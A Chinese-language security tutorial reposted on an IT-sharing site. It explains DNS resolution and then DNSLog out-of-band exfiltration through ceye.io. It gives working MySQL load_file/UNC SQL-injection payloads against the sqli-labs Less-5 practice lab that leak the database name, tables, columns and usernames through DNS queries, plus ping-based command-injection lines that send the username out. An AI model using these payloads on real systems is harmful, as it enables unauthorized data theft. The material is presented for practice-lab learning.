大家好,欢迎来到IT知识分享网。
DNS
简介
DNS(Domain Name System),也就是域名系统。将域名与IP地址相互映射的一个分布式数据库。DNS使用UDP端口53。
域名解析的过程就是将域名去DNS服务器的数据库中寻找,这是比较耗费时间的。为了提高上网速度,运营商一般在他们的DNS服务器中缓存了许多的DNS记录,再根据用户所在地进行网络分配。这样用户打开网页则不需要去查询DNS数据库,而是直接使用缓存的DNS记录。
解析过程
大致流程描述如下:
1、用户在URL中输入某个域名
2、浏览器检查有没有这个域名解析为IP的记录
3、如果没有,浏览器会查找操作系统缓存中是否有记录,例如Linux系统中/etc/hosts文件可以设置
4、如果还是没有,操作系统会将这个域名发送给LDNS(本地DNS服务器)。Windows系统在cmd中输入ipconfig查询,Linux系统cat /etc/resolv.conf查询。大部分的域名解析都会截止于这一步。
5、如果LDNS还是没有命中,那就直接去根域名服务器请求解析
6、根域名服务器会返回给LDNS一个所查询的主域名服务器地址(gTLD Server),这是国际顶级域名服务器,如.cn
7、LDNS再向上一步返回的gTLD服务器发送请求,返回二级域名服务器地址 .com 。。。
8、通过递归查询的方式重复以上过程,最终得到目标的DNS服务器,见于图中红色部分
这里再引入一个概念DNS的迭代查询和递归查询。
迭代查询:发生在客户端与LDNS间,只会请求一次
递归查询:发生在LDNS与外网间,重复请求
DNSLog
简介
DNSLog就是DNS日志,指存储在DNS上的域名有关信息,记录了用户对域名、IP的访问信息
ceye的使用
这是一个目前还能使用的免费dns解析记录网站
http://ceye.io
需要注册账号,得到一个自己的DNS解析服务器xxxxxx.ceye.io
DNSLog注入
常用情况
SQL注入中的盲注
无回显的命令执行
无回显的SSRF
XSS盲打
sqlmap可以使用–dns-domain参数实现自动化dns注入
原理
当页面无回显的时候只能采用盲注,但是手工测试太耗费时间,工具容易被ban掉,除了代理IP池,还可以利用DNSLog外带查询
在MYSQL中有一个系统属性secure_file_priv
当取值为null时,表示不允许导入导出
当取值是指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
当没有设置时,表示没有任何限制
前置条件
1.数据库root权限
2.数据库可读写权限,secure_file_priv值为空,在my.ini中设置
3.Windows系统(因为Linux系统没有UNC路径)
4.DBMS中要有可用的能直接间接引发DNS解析过程的子程序,即用到UNC
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
实践
对于Mysql数据库,需要用到load_file()函数
load_file(concat(‘\\’,(select database()),‘.123456.ceye.io\abc’))
四个\中存在两个转义\,实际含义\\
然后接上我们想要的信息database()
再接上自己注册的域名标签123456.ceye.io(这里123456实际表示六位字母)
最后的abc是文件名,随便写就行
Mysql就会去访问这个路径,去路径下找abc
我要得到的信息security就出现了
需要注意的是外带信息中不能有特殊字符,否则将没有任何记录信息,比如@
解决办法是通过hex函数,转为16进制外带
不要在意为啥域名标签变了,由于卡退重登
用Burp进行16进制解码,得到信息
SQL盲注
补充一下Mysql的load_file()函数介绍
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
下面以sqli-master靶场第五关为例,这一题是布尔型盲注。
构造payload试试
127.0.0.1/sql/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.phax9s.ceye.io\\abc'))),1,1) -- -
127.0.0.1/sql/Less-5/?id=1' and (select load_file(concat('\\\\',(select database()),'.phax9s.ceye.io\\abc'))) -- -
在ceye中查看记录
查询一下数据库security中的表
127.0.0.1/sql/Less-5/?id=1' and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.phax9s.ceye.io\\abc'))) -- -
得到信息security数据库第一张表名为emails,修改limit查询其他表
接下来查字段名
127.0.0.1/sql/Less-5/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 1,1),'.phax9s.ceye.io\\abc'))),1,1) -- -
查询users表的username数据
http://127.0.0.1/sql/Less-5/?id=1' and load_file(concat('\\\\',(select username from users limit 0,1),'.phax9s.ceye.io\\abc')) -- -
命令执行盲注
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在ceye获取到 DNS 的查询请求
Windows系统中
ping %USERNAME%.xxx.ceye.io
Linux系统中
ping `whoami`.xxxx.ceye.io
XSS盲注
以Pikachu靶场的XSS盲打关为例
提交后登录后台,ceye收到请求表示触发了植入的代码
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/21173.html